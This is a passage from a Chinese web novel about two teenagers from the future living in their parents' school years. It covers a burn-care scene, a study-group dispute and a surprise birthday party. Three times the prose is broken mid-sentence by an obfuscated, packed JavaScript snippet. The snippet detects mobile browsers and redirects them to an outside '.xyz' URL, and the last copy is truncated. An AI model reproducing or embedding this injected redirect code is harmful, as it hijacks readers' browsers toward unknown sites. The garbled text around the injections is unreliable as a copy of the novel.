叶明鑫自嘲一笑：“你也知道你老爸文科其实一般，当年看兄弟们都填了文，我就跟着选文了呗，想着万一以后当个大文豪呢。而且信这种东西啊不能多写，我这么没耐心的人，写多了就丧失表达欲了，一年一封最多了。” 叶垚看着封面时间，1998年年末，1999年年中，2002年年初，再就是2020年年底了。前三封跨度不算大，最后一封却隔了很久。 他好奇：“那信里写了什么？” “说实在的，我也忘得差不多了，毕竟我记性差。”卓焱自杀带给叶明鑫的冲击不可谓不大，叶明鑫一夕之间仿佛衰老了不少，甚至长出了根根白发，因此开始变得不记事起来。 他神色怀念地拆开那封十七岁时写的信，刚要看，一滴水滴在信上。他一愣，紧接着是第二滴第三滴，让人来不及反应，雨猛地落下，闪电雷鸣也应声而落。 叶明鑫想把信护在怀里都来不及，盒子里已经砸进不少雨，快要把信全部打湿。他仓皇想要起身，却因为喝了酒行动变得笨拙。 叶垚赶紧去搀扶他，却被他塞了盒子：“先，先把信收回去，我自己能起！” 刚拆的那封已经湿透，其他的也未能幸免，叶垚知道他在乎，赶紧掏钥匙开家门，先把信放进去，再去搀叶明鑫进来。 叶明鑫都顾不得站不稳就要处理信，叶垚赶忙说自己来，让他在旁边好好坐着擦身上的水。本想叫他先去洗澡，但他不放心那些信，叶垚只能让他看着他弄。 叶垚小心翼翼将湿透的那封平铺在桌上，一点一点展开皱到一起的部分。雨水把字迹晕开，这封信几乎算是毁了。 他试图辨认一下里面的内容，却只看清了零星，什么“我好像看见了”“对不起”“如果当初我不叫你就好了”。他被信的内容勾起了好奇心，本想用纸巾吸走信里水分试图抢救，可一个错力，信却从最后几行劈开。 然后，他就忽然晕了，再有意识就已经来到了这里。 卓惜听完，狠狠皱起眉头：“所以你爸当年究竟看到了什么？难不成你爸的信是穿越的媒介？” 叶垚也不知道：“信湿得太厉害了，而且我爸那封信是用钢笔写的，一沾水墨就晕开了，糊了一大片。” 现在的问题是，叶明鑫的身体暂时被叶垚占据着，他们无从可知叶明鑫当年究竟是看见了什么。也不知道叶垚是会一直在这里，还是只是暂时的。 卓惜索性不去纠结：“那些先放在一边。我们先假设信就是穿越的媒介，那我们也 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看她这样，叶垚有些于心不忍，两人青梅竹马一起长大，她从小受了多少委屈他再清楚不过，却无力改变什么。所以卓惜第一次提议说想改变未来的时候，他没有表现出反对。 可事实上他们俩对过去的一切一无所知，就这样贸然莽撞的干预过去，叶垚不确定未来的长辈会有什么后果，可他能预料到卓惜最坏的结果。 卓惜再抬眼时眼眶已经红了，她想扯扯嘴角扯出笑意，却根本笑不出来：“叶垚，你知道的，我从来不想要这样的人生。” 即使现在心态上发生了些许变化，可这最根本的执念却从未化解。 叶垚扯了张纸替她擦了擦眼角，轻声反问：“哪怕未来你不再存在？” 她转而坚定附和：“哪怕我不存在。” “所以叶垚，帮帮我好吗？” — ○> — 叶垚最后还是答应了她的央求，或者说明知下场也不忍心拒绝。 同时，他也在顺着卓惜的话想，既然上天给了他这样一次机会，那么他要不要也为叶明鑫做些什么。 以最快的速度修养好，了解完叶明鑫这时候的学习水平，他不免眼前一黑。 回学校后第一件事就是好好搞学习，投入的模样让刘有才都有些摸不着头脑，更别提这些兄弟。 在第五次拒绝隔壁班人中午放学溜去游戏厅打拳皇的邀请后，卓惜看不下去，拉叶垚去吃饭：“行了，要学也不是这样学的，而且都不知道时效，总之先去吃饭。” 两人离开，陈北森和方浩默默凑过来问卓焱孟沅：“诶，你们觉不觉得金子最近怪怪的？难不成磕到头还打通任督二脉了？怎么这么爱学习了？” 不怪他们不诧异，前段时间有个神秘高手似乎是和叶明鑫杠上了，每周破他记录，还只压一百积分。 转眼上周记录果不其然又破了，按之前叶明鑫肯定恨得牙痒痒要去打回来。结果今儿个居然说什么：他以后不打游戏了，要好好学习？ 他们发现了，卓焱孟沅自然也发现了。 孟沅犹豫了一下说：“其实，我觉得卓惜最近也有些奇怪。” 卓焱点头，这点他算是感受最明显的。 不光是她对他的态度似乎软化了很多，还有她的眼神。 偶尔放空出神望向他这边的时候，像是在看他。 又像是，在透过他…看别的什么。 18.太麻烦了 被抓的四个其中三个小弟都是未成年，为首的田天阳今年也才刚成年，几人都是初中就辍学，成天在外面惹事鬼混。 剩下的那个东躲西藏，在第四天才被抓住。 有了沈光华出手干预，这件事虽然还没那么快能出结果，但想来也不会轻易放过那几个小混混。 这几天孟沅和卓惜在卓家住，一开始孟沅还很拘谨，哪哪都小心翼翼。随着相处下来，却发现卓家人意外的都很好。 卓父这些年应酬疏于身材管理，显得有些圆润，但由于早年经历，看起来也仍旧人高马大很健硕。性格很是沉稳，话少。 而卓母身段高挑，浑身充斥着女强人的锋芒，气场很强大。 一开始孟沅有点怕她，但实际上她还是很温和的，还会问她们住得舒不舒服，吃得习不习惯。她知道这其中有部分原因是卓惜和沈光华谈了合作，卓惜不仅嘴甜，也是真有真材实料的。 孟沅不免开始思考起自己的价值。 她有想过去打工，可是街上看了一圈大多都是餐馆在招服务员和洗碗工，且不说时间对不对得上，她也没办法为了这些不顾学业。 这一个多月以来她一直在用卓惜教她的方法巧背多练，还花了不少钱买了一本英文字典。平常也不再一味省着不肯花钱，陆续买了些全英文的杂志书籍等等试着慢慢看。 她的英语成绩有了显著提高，就连英语老师也在夸她进步神速。孟沅发现自己对于语言还是很有学习兴趣的，可惜这时候找得起小学生或者儿童启蒙的家庭也不会选她一个17岁的人当家教。 正当她一筹莫展的时候，卓惜给她带了一份消息：“你不是说想找点兼职挣钱吗，我这边帮你打听到一个，就是可能会有点麻烦。” “是什么？我不怕麻烦的。” 孟沅眼神倏地一亮，她之前和卓惜聊过这件事，卓惜还跟她分享过写作经验技巧。看她构思一个小故事好像很轻松，但真正自己上手才发现根本不是那么一回事。 她迄今为止的人生，如果不是遇见卓惜，那就只有孟家村和这里的一团乱麻。她没有见过什么更广阔的天地，守着混沌不明不见方向的未来，思想都贫瘠，自然构想不出什么生动的故事，只能遗憾放弃。 卓惜把信息给她：“有个编辑朋友说有家儿童文学出版社正在征少儿刊物的短篇翻译稿，把稿件按语言要求用比较生动有趣的语言翻译出来。因为稿件数量多，所以用了投稿征集的方式，按篇来算钱，一篇的话根据难度应该在50到300之间吧？” 其实这家出版社不止做英汉互译，还有别的小语种读物，只是这年头精通语言的译者没那么好找，更别提这种儿童刊物，收益不高在别人眼里根本就不划算。 卓惜想着孟沅对英语表现的还挺有兴趣的，正好可以尝试一下这个，先投一两篇试一试。既可以锻炼自己又可以挣钱，就算挣不到也没太大关系，儿童刊物不比那些大刊，投入不算特别大。 孟沅小心收好卓惜给她写下的信息，很全面，征稿的内容卓惜也先帮她准备了一份，可以先投试试：“那我试试。” “嗯，征稿内容他们的官方网站上都有，你有空也可以自己去网吧看看。”卓惜提起一脸嫌弃，这个时候的电脑和网速都让她有些抓狂，给孟沅抄了一个小短篇就匆匆回来了，现在身上的烟味都没散干净，“算了你还是别去了，卓焱有电脑你找他借。” 网吧的味儿她都受不了，更别提孟沅，而且鱼龙混杂也不安全。 孟沅含混点点头，收好信息，想到什么看向卓惜：“对了，我们什么时候回去呀？” “回哪儿？回家吗？”卓惜还反应了一下，“不急吧，等等结果呗。” 孟沅有点纠结：“我就是觉得会不会太叨扰了。” 卓惜无奈摇头：“别想太多，卓叔叔沈阿姨都没说什么呢，我先去洗澡了，你等会儿哈。” 孟沅看着她去收拾衣服，只能作罢。 她是个害怕麻烦别人的性子，总容易想多，但卓惜这样说她也不知道说什么好。 就算是不想给别人带来麻烦，可有时候也总觉得，说出这种“不想”本身也是在制造麻烦。 - ∞ - 卓惜这段时间都很忙，每天睡得还算早。 孟沅起夜忽然觉得口渴，蹑手蹑脚下楼倒水喝。 “还没睡？” 她被突如其来的声音吓了一跳，小声抽了口气，看清来人才放松下来，解释：“不是，刚刚有点口渴就醒了。” “属兔子的啊你，这么容易就吓到。” 卓焱好笑看她一眼，路过她往冰箱走，拿了瓶冰水出来喝了口：“要吗？” 即使不止撞见过一次，孟沅还是很佩服他这种无视天气温度喝冰水的勇气：“不用了，我喝热的就好。” 夜深大家都睡了，唯独厨房这里响着水壶烧水的声音。他们家的水壶比她家的方便得多，小巧一个通电就能用，还很快，不用搭煤炉。 他点了点头，自顾自喝着冰水，却也没走。 孟沅忽然觉得有些不自在，只能想办法开启话题：“那你呢，还没有睡吗？” “打游戏。”半瓶冰水下肚，他声音清亮了些，此刻灯光暗淡晦涩，只能模糊看清他糟乱的头发和眼底淡淡的黑。 “哦……”她笨拙点点头，话题再次断了。 水壶发出一声极轻的“咔哒”声，孟沅如释重负地转移注意力。可不知是气温太低还是热水太烫，刚倒进杯里就忽然传来了开裂声，玻璃杯瞬间四分五裂。 她吓了一跳，好在反应还算快，顶多就是手背被飞溅的热水给烫了一下，不打紧。 孟沅赶紧想要收拾往四处溜走的水，卓焱却忽然拉住了她：“你怎么样？烫到没有？” 她无措咬了咬唇，当着他的面把他家东西弄坏了，尴尬得不敢看他：“就溅了一下，我没事，我我先收拾一下。” 卓焱眉头紧锁，根本不在意那边：“先别管，我看看你手。” 他拉起她的手借着昏暗的灯光仔细查看，她左手手背上已经明显溅红了一块，不处理的话估计晚点就得起水泡：“还说没事，都红了。” 他也不管三七二十一，拉着她往客厅去，按着她坐下，从电视柜下面拿出医药箱，翻找出烫伤膏：“你现在不处理到时候就得起泡留疤有的你疼。” 他嘴上有些凶，但动作却很轻。 孟沅张了张嘴，想说自己没有那么娇贵，她又不是第一次被烫，没有那么严重的。可是看着他眉头锁着，神情格外认真的模样，她又默默沉默下来。 客厅是没有光的，只能借着远处那点昏暗的光模糊看着他的神情、模样。老天真是不公平的，就连阴影好像也是为了衬托少年五官眉眼的优越，每一处都好似精心雕琢过般立体鲜明。 她鲜少敢这样直白打量他，直到他轻轻朝她手背吹了一口气，语气自己都没察觉到的柔软，抬眼问她疼不疼。 她顶着那不知是哪儿传来的痒，慌慌张张错开视线摇头，生怕被抓了包。 给她上了药，他收好药箱去收拾厨房，孟沅不安地跟在他身后想要插手，却根本没有机会：“我来吧？” 卓焱手脚麻利头也不回：“不用，在旁边待着。” 她不知所措，只好在一旁干站，想了想又说：“这个杯子多少钱？我赔给你。” 卓焱把玻璃碎片包好扔进垃圾桶：“一个杯子而已赔什么，都说了就跟在自己家一样，用不着这么客气。” “可是这样太麻烦你了……” “没有什么可是，我说不用就是不用。”卓焱转身扯了一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034321|161469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸，看到她的表情时又改了主意，“你要实在愧疚，那，送我条围巾？你自己织的，卓惜那种的，怎么样？” 天气冷下来，前两天孟沅忽然想到了卓惜还没有围巾，她每次都是把外套拉到最上面，还要把帽子的两片魔术贴粘上，把脖子缩在里面，就给她编了一条围巾。 那种围巾是用粗毛线手编的，又快又简单还好看。孟沅知道她喜欢五颜六色花里胡哨的，挑了一卷糖果混色的毛线，因为卓惜属羊，还买了一块小羊的补丁贴缝在尾巴上，她特别喜欢。 这个要求并不算什么，孟沅很快答应下来：“那你喜欢什么颜色？” 他想了想：“灰色吧？” 孟沅点点头：“好。” 收拾完狼藉，他又重新拿了个新杯子先倒了点水烫了一下，才给她倒了大半热水混小半凉白开：“下次喝的时候记得先温下杯子，自己也得注意安全。” 孟沅接过不好意思地应到：“知道了，下次会注意的，谢谢。” 两人并排上楼，很快到她们房间门口，进去之前，卓焱又喊住了她：“不管面对别人怎么样，我希望你面对我的时候不用那么小心谨慎，自在一点轻松一点，我又不会吃了你。” 孟沅一愣。 卓焱朝她扯了个淡淡的笑：“有什么事也记得找我，别纠结别担心，我解决不了也可以给你想别的办法。你只要知道，在我这儿，你的事都不算麻烦。” 她温吞眨眨眼。 卓焱忽然伸手在她头顶揉了一下，收回时还轻点了下她眉心，语意不明：“小傻子，快进去吧别着凉。” 说罢，他很快回了房间。 留她站在原地，半晌，抬起指尖摸了摸眉心。 仿佛还残留着他指腹的温度触感。 — ○> — 深夜。 卓焱第五十七次辗转反侧，下意识抬起手看向指尖，心头像是有条猫尾巴晃来晃去，痒得他半天没睡着。 尤其是夜深人静，闲下来时就容易东想西想，他忽然开始回忆起从前。 其实具体什么时候对她有些说不清道不明的晦涩小情绪，他已经记不太清了。 一开始是看她似乎很怕他的模样而注意到她，觉得有趣所以偶尔逗逗她，到逐渐发觉她虽然看似胆小却还挺有主见也很努力。 卓焱记得高二有一次中午，那天和沈光华因为成绩的事吵架，他早早跑回学校躲闲。 那时候因为惹是生非，只有他一个人的位置是固定的，永远在四组最后一排角落。他乐得自在，拼着两个板凳，校服盖在身上躺着睡大觉。 模模糊糊醒来听见几个女生在讨论什么，忽然提到了他，也不知道是谁，语气还有些嫌弃：“卓焱还是算了吧，惹是生非的，因为他咱们班都拿不了光荣班级。” “是啊是啊，哎，咱们班也是倒霉。” “要我说，谁换到他前桌谁才倒霉嘞！跟这么个麻烦精挨得近，总感觉要被带坏。哦孟沅你在啊，不好意思我们没有说你的意思哈！” 然后，他就听到了一道软绵绵，好像没什么底气的声音弱弱帮他辩驳：“其实，卓焱也没有那么坏的，可能就是看着凶了点儿，其实人还是很好的……” “他那只是看着凶了点儿？！” 再后面其他人说了什么，他就听不进去了，满脑子都是她这句话。想着想着，他自己都不由得在心里讽笑自嘲了一声。 他一直知道班里人多少看他不顺眼，只是分敢说的和不敢说的两种，平常表面不露，背地他看不见的地方不知被编排多少次。 不过他也无所谓，反正自从那件事之后，他一点都不惧惹麻烦，任谁爱说说去吧。 但…她还是目前唯一一个说他人好的人。 明明，就连他自己也觉得自己烂透了。 19.几乎确信 晚自习增多后老师自发准备的测验卷也渐渐提了难度，每次成绩稍微差些的就叫苦不迭，因此一路水涨船高的孟沅就成了极为扎眼的存在。 逮着空，各科老师将最近的试卷收集起来对比了一下每个学生的成绩升降。虽说小测没有那么严谨，却也是有一定参考度的。 班上三十八个人，成绩好的那批一直稳定变化不算太大，成绩垫底的那批也颇有死不悔改的架势，想一跃提升那也是想的太多。 而孟沅算是唯一脱颖而出的一个。 原本班内成绩一般在二十名上下一两名徘徊，校内一般勉强能卡住百名的尾巴，上次期中考却能到了六十名内，进步不可谓不大。 而后面的测验她不说游刃有余，起码也是能看出一直在进步努力刻苦学了，这让他们各科老师都很欣慰。 英语老师感叹：“别的不说，她的英语口语现在很明显进步了很多，读句子连读弱读包括长词句的处理都好了不少。咱们临禾口音也算是比较难别转过来的了，她却在短短一个月里改变这么大，可见私下用心。” 这个确实。 刘有才附和点头：“我听说卓惜私下一直在给她补习，最近还在给卓焱补，别的不说，卓焱这臭小子最近态度倒是挺好的。” 数学老师也想起什么：“诶你们这么一说我倒是想起来，最近这段时间叶明鑫突然变刻苦了，昨天晚上小测最后一个大题我设置的难度不低，他居然能答上来，这段时间也经常积极回答问题。” 不盘算不知道，一盘算，这些不安分的小兔崽子最近好像确实都老实了不少？ 刘有才摩挲着下巴：“我在想，像这样互相之间补习模式会不会对他们提高成绩也有帮助？你们说咱们班要不要成立一个学习互助小组，前面的带后面的，也提升一下咱们班学习氛围。” 都高三了，有一部分人还是太懒散没态度，刘有才感觉再不出手干预一下，怕他们真是大专都考不上了。 其余老师觉得可行：“这个可以有。” 说办就办，当天下午就有语文课，刘有才宣布了这个消息，不过为了公平起见，他决定采用抽签制。 按照期中考班内成绩排序，用相同颜色纸条标上数字装在两个不同的抽签盒里。前十九名和后十九名分别抽取，这样保证再不济中段也是成绩相当的两个人可以一起进步，总比差的继续跟差的混在一起好。 这次不仅有差生反对，也有优生反对。差生觉得刘有才这是限制他们做无用功，优生觉得自己浪费时间提差生补习没好处还耽误自己。 但全都被刘有才给三言两语怼了回去，反正就这么板上钉钉了，先实验半个月，看效果再说。 下面吵吵嚷嚷，刘有才又敲了敲讲台：“行了安静！快来抽签，晚点下课之后班长记一下哪两个人分到了互助小组，把表交给我。” 尤佳婧还没有说话，徐耀和却忽然站了起来，语气有些低沉：“老师，我认为既然要开展这项活动，为什么不先以自愿原则征求同学们的意见呢？不是所有人都有精力和时间去帮助别人提升，自己都或许是个不定数。” 刘有才倒是没想到一向沉默寡言事不关己的徐耀和会突然说话，他刚要回答，卓惜却也跟着站了起来：“学委，话不是这样说的嘛，帮助同学的同时也是在巩固自己不是吗？而且也可以互相交流一下嘛，我觉得挺有意义的。” 徐耀和看向她，似是不解她话里的意思。 卓惜也没遮遮掩掩：“我也觉得应该先遵循自愿原则，所以我也想在这边邀请学委和我们一起探讨交流学业问题。” 徐耀和：“我们？” 卓惜指了指这一圈人：“我，还有孟沅，还有他们几个。怎么样？考虑一下？放心，大头压力不会让你承担。” 孟沅被她提到，一瞬间有些心慌紧张，赶紧低头想钻进角落。 刘有才一看，叶明鑫卓焱最近态度还可以，看起来有想努力的样子了。方浩成绩没垫底但也差不多了，陈北森还是老样子，也不是不愿意学，主要是没什么时间。 这几个人…… 就在大家都在看戏以为他不会答应的时候，徐耀和垂眸思考了一下，才重新抬头：“行。” 刘有才略微思索：“行，那就遵循自愿原则，可以随意选组，不过至少得保证组内有一名成绩好的同学和一名成绩稍微落后一点的同学，上限不能超过八个人。一天时间组好队，后面没组好的人我会随机分配。” 刘有才让他们坐下。 孟沅悄悄递给她一张纸条：【卓惜，你真的要学委加入我们吗？】 卓惜：【他成绩均衡还不错，要不是我来了他不就是班上第一，年级前三也不差。而且他比我更了解你们这边的出题内容，以后混熟了说不定还能让他帮着押押题。怎么？你有什么想法吗？】 孟沅总觉得卓惜好像还有别的什么心思，但看卓惜坦然的神色又觉得自己可能是多想了，不过犹豫了一下还是实话实说：【没有，就是…我有点怕他】 至于为什么，她也说不上来。 卓惜想了想：【说不定是人家外冷内热呢？总要相处试试】 两人纸条递得热火朝天，卓焱自然没有错过她脸上的笑容，思索一番忽然冷呵一声。 惹来卓惜怪异看他，也没有解释。 - ∞ - “叶明鑫你站住！” 叶垚脚步一僵，莫名梦回小时候闯祸他妈发怒时的场景。 梁美蓁气呼呼追上去，绕到她身前：“你这几天为什么躲着我？！” 叶垚有些无措，总觉得哪哪儿都别扭，只能含糊企图混过去：“没有。” 梁美蓁才不信：“你还说你没躲我，那这几天我找你你为什么总说有事？还有周六，我都去你家了，你硬是不肯下来见我一面，这不是躲是什么？” 叶垚不敢吭声。 梁美蓁憋红了眼推他一把：“我长这么大还没谁让我受过这种委屈，你还是第一个！” 他有些手足无措看了眼默默闪到一旁看好戏的卓惜，冲她使眼色，得来卓惜摊手，无声说：“我也没办法啊？” 问题就在于现在在这里的人是叶垚而不是真正的叶明鑫，叶垚又没有拆散他们的需要，但是顶着自己老爸的脸和老妈来往也是……就很奇怪。 他们俩的小动作被梁美蓁敏锐捕捉，一个眼刀朝卓惜扫去：“你为什么看她眼色？你们两个……” 卓惜赶忙打断：“别误会别发散！我和叶…明鑫可是清清白白的同学关系。” 叶垚也赶紧摇摇头：“我们俩可没有什么。” 梁美蓁将信将疑：“是吗？” 叶垚见躲不过去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15037540|161469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，只能找个理由试图糊弄：“我真的没有刻意躲着你，最近不是还没有完全恢复就总是不舒服，再加上想要提高成绩所以比较忙。” 要不说他妈只是看着娇蛮实际上脾气来的快去的也快，不过两句解释梁美蓁气就消了，眼神在他脸上打量一圈，不像说谎：“行吧，那就原谅你了。” 叶垚偷偷舒了一口气：“那你找我是有什么事吗？” 这话一出，刚刚还大大咧咧的梁美蓁忽然别扭起来，一秒钟换了几个小表情，吞吞吐吐说：“没什么，就是你之前帮我挡那一下，我欠你人情啊！我这人最讨厌欠别人东西了，这个送你的，我爸朋友从德国带的，你最近不是爱学习嘛……” 她说着，把一直拎在手里的小袋子一把塞他怀里，不等他有什么反应，放下一句“不许不接受”就匆匆离开了。 叶垚犹豫了一下，还是拆开了礼物。 卓惜好奇凑过来看。 待礼物拆开，两人却不约而同地皱了皱眉：“钢笔？” 墨色锦盒内分了两处海绵格，一支精致的蓝色钢笔就安静躺在里面，旁边还有一瓶墨水。 两人想到的却是别的东西。 但这会儿放学时间，孟沅卓焱也还在旁边等着，显然不适合细聊。 两人默契对视一眼，只能再找机会了。 — ○> — 逮着中午午休，班上没两个人，孟沅被她支出去买酸奶和小零食了，卓惜和叶垚终于可以正大光明聊天。 叶垚捏着钢笔摩挲，说起昨晚忽然想起来的事情：“我爸以前是有一支钢笔，但是去年就已经坏掉了好像，那时候坏了他还挺不舍得，难过了好几天。” 那时候叶明鑫在家里还耍起了小性子，平常一向不让他多喝酒的梁美蓁破天荒放纵了他一次。 “那时候我好像无意间听我爸提过一嘴，好像是说那支钢笔是我妈和他刚谈恋爱那会儿送他的，他一直爱惜保养着才能用这么多年。” 可问题也在这儿了。 两人看到钢笔的第一时间就不约而同地想起来了被晕染坏的信，但时间却对不上。 “你说你爸那支钢笔是你妈刚谈恋爱的时候送他的，可是这时候他们都还没有谈恋爱。” 卓惜一拍脑袋，怕引起零星几人注意，压低声音分析：“上次我们俩复盘完第一时间就去挖了树下，盒子里一封信都没有。那时候我们还在想会不会是还没放进来，或者说是因为你这个变故所以信还没有开始写，得等你爸什么时候回来。” 卓惜的第六感此刻无比强烈。 她几乎可以确信，她一定是无意间改变了什么，导致发展已经悄然开始不一样了。 只是因为不算明显，所以难以察觉。 她推测：“有没有另一种可能，是因为信的内容被我们改变了，所以信不会再存在了？” 所以，连梁美蓁喜欢上叶明鑫的时间也提前了。 叶垚深思：“不排除这个可能，但还有个问题就是，这样的话我们或许就没有办法知道这封信究竟写了什么了，就不知道后面的信还会不会存在或被改变。” 卓惜听到这话也沉默了下去，刚刚的兴奋重新压下。 即使有了变化，未来依旧无法预测，疑团也仍旧还是解不开的疑团。 她忽然有些说不上来的空洞无力。 20.生日快乐 “喂，卓惜！” 卓惜见眼前气势汹汹的人，有点莫名：“你有事？” 她对眼前这人还算有印象，刘凤娇，在他们班成绩还算不错。不过为人也是有点娇纵无理，平常也不怎么跟班上人来往，反而跑四班跑得勤，成天黏在徐耀和他妹妹徐昕恬身边。 因此，她也被一些看不惯的人戏称“徐昕恬的头号跟班”。 两人平常可以说是井水不犯河水，她突然过来，让卓惜摸不着头脑。 刘凤娇双手环胸，挑着下巴看她，与其说是商量倒不如说是命令：“老刘不是说一个组最多八个，你们组七个，加我一个正好八个，让我加入？” 卓惜对不客气的人自然也不客气，懒得搭理她，收拾起自己的东西：“我为什么要让你加入？你谁啊？” 刘凤娇一噎，反应过来掉了气势，赶紧又摆起架子：“我再怎么说也在班上前十年级前三十五，我愿意加入都是赏你们脸了好吗？” 卓惜脸色冷了下来：“是吗？你有什么脸。” 刘凤娇：“你怎么跟我说话的？！” 卓惜抬眼：“我年级第一班级第一，学委年级第三班级第二，你个年级前三都进不去的，你算哪根葱？还舔着脸要加入？” 刘凤娇咬牙：“好，卓惜，你能耐啊！你等着！” 她气匆匆跑走，卓惜也没当回事。 下午，徐耀和却找了过来：“卓惜，有一件事。” 卓惜：“嗯？什么事你说。” 他言简意赅：“刘凤娇想加入我们学习组。” 她诧异抬头，余光看见了正在不远处看着这边情况的刘凤娇，神色尽显得意。再看徐耀和，眉头微微蹙着，说这话时也能听出一丝不显地不情愿：“可能没办法？” 说完这句话，她明显感觉到徐耀和肩头微不可察地放松了点，又反问她：“为什么？” 卓惜坦言：“因为十分钟前梁美蓁找我了，我答应她了，组单我也已经交给班长了。” 徐耀和没再追问，只是点点头，很快转身离开。 他和刘凤娇说了什么，刘凤娇狠狠朝她这边瞪了一眼，像是想找她掰扯，徐耀和看了她一眼，她又不情不愿地坐下了。 这两个人，关系还真是奇怪。 卓惜只快速闪过这样一个念头，摇摇头没太在意。 今天轮到孟沅值日，另一个男生说有急事糊弄打扫完自己的部分拜托她们帮忙收尾就匆匆走了，卓惜陪着她一起打扫整理。 这段时间她们是尽量都一起行动，少有单独一人的时候，两人抬着垃圾桶去后山倒完垃圾洗完手，出来又听见了猫咪的嘤咛声。 灌木丛里簌簌作响，两人决定去看一下，刚走近，里面站起一人，差点把两人吓一跳。 卓惜往后退了一步，待看清人才松了口气：“学委？” 徐耀和怀里抱着猫，一点一点轻柔抚摸着，猫咪在他怀里还打着哆嗦：“你们怎么在这儿？” 卓惜指了指垃圾桶：“今天孟沅值日，我们来倒垃圾，你呢？……撸猫？” 前段时间猛地降温，班上那几个把猫藏到后山还搭窝的女生有天狠狠哭了一场。说是因为周六周末没空去看，那两天天凉，等周一上学的时候才发现猫妈妈都冻尸僵了。 几个小猫倒是侥幸还活着，不过都很孱弱。 学校里在抓捕野猫，她们也不敢光明正大去喂，只能悄悄去。 徐耀和看了眼旁边的孟沅，收回视线摇摇头：“猫窝太凉了，我就来看看它们状态。” 卓惜想起来：“哦，难怪前几天她们说猫窝里突然多出来了猫食，是学委你喂的吧？” 徐耀和点点头：“时间不早，你们两个早点回去吧，我等会儿也走了。” 卓惜颔首，跟他挥手道别。路上，还在跟孟沅感叹：“没想到徐耀和看着沉默寡言冷冰冰的，人还怪好嘞。” 孟沅想起刚刚看到的，有点和卓惜不一样的想法：“可是，我好像感觉小猫也很怕他。” 卓惜失笑：“你是带入你自己视角了吧，学委人真挺好的，多相处就知道了。” 孟沅只能胡乱点点头，只当是自己多想了。 另一边，徐耀和看着自己手上那道挣扎之间被抓伤的爪痕，暗自叹了口气，把猫放回窝里：“还是太弱了，要好好活下来啊。” 随后，熟练拿出一管药膏涂上。 - ∞ - 路上，孟沅说饿，卓惜和她一起去了小吃街。 这会儿正是热闹的时候，路边都坐满了人，各种锅煮的咕嘟咕嘟，香飘千里。 卓惜问孟沅想吃什么，孟沅一路都说看看，快走到末尾才看见一家门庭若市的菜馆：“就这家。” 卓惜看着这么多人，估计都没位置，孟沅却已经上前一步。店家本来还在烧烤架那头忙活，看见她立刻停了手里的动作笑嘻嘻招呼：“来了呀？包间就在楼上三楼呢，要不要我带你们过去？” 孟沅赶忙摆手：“不用的阿姨，你们忙，我们自己去就好。” 说着，她回来拉卓惜。 卓惜挑了挑眉：“孟小沅，你今天很不对劲啊？神神秘秘做什么呢？” 孟沅不擅长撒谎，今天能拖这么久时间都已经尽了很大努力，此刻只含糊说：“到了就知道了。” 卓惜耸耸肩，拿她没办法，跟着她上了楼。 这家餐馆一二楼都是大堂桌，三楼看上去像是后来加盖的，因此上楼的楼梯比二楼的宽不少。上楼后就是一间间包厢，听着甚是热闹。 孟沅带她到了里头，也没敲门，就这样打开。里面黑黢黢一片，卓惜不解：“怎么不开灯？” 话音刚落，灯被按开，同时“砰”地一声，礼花从她头顶炸开，纷纷落落。 紧接着就是叠在一起的祝贺声：“卓惜，生日快乐！” 卓惜蜷缩的动作一愣，反应过来时他们一个接一个上前一步塞了她满怀。 孟沅最先送的，礼物是一件米白色的毛衣内搭，还有一本精挑细选的英文名著，这些都是她用翻译稿挣的钱买的：“卓惜，生日快乐，希望你会喜欢。” 紧接着是梁美蓁，她一如既往傲娇，送礼也非要口是心非一番：“这套进口的笔记本和钢笔送你了，反正你得收，别人想要我还不给呢，谁叫本小姐大方？反正…反正咱俩也是一起打过架的交情。” 方浩挠了挠头：“我不知道你们女孩子家家喜欢什么，但是看你这么爱做题，我去晨光买了一套卷子，你…看着做？” 卓惜哭笑不得：“谢谢，我很喜欢。” 卓焱扯扯唇，把手里盒子递给她，上面没有包装，一眼就能知道这是一个手持的小磁带机。这个可比孟沅家之前那个老式收音机要便携得多，他也一如既往话少：“生日快乐。” 最后是叶垚，他送的是一套幸运草项链和手链的小礼盒，朝她温和笑笑：“生日快乐，祝你能实现心愿。” 卓惜眼眶不受控地有点红，她勉强压了下去：“是你跟他们说我生日的啊？” 叶垚还没说话，方浩就说：“对啊，他可提前一个多星期就说了，我们计划好久了。其实森子也有礼物，但这会儿他在帮忙呢，等会儿才能过来。” 一个多星期？那时候叶垚都还没有穿过来吧？ 卓惜疑惑了一下，很快反应过来是真正的叶明鑫组织的，他帮她弄过身份证，是知道她生日的。 想明白后不免更加感动。 陈北森很快也上来了，卓惜这才知道原来这家餐馆就是陈北森家里开的，他平常放学之后就会帮着父母打下手。 “森子爸妈手艺可好了，绝对包你满意！” “先别说这么多了，先来许愿切蛋糕！” 不知谁把灯关了，孟沅拉着她坐下，几人去把蛋糕点上蜡烛，缓缓送到她面前，还唱起了生日歌。 零星烛光照亮眼前一小片，每个人的表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 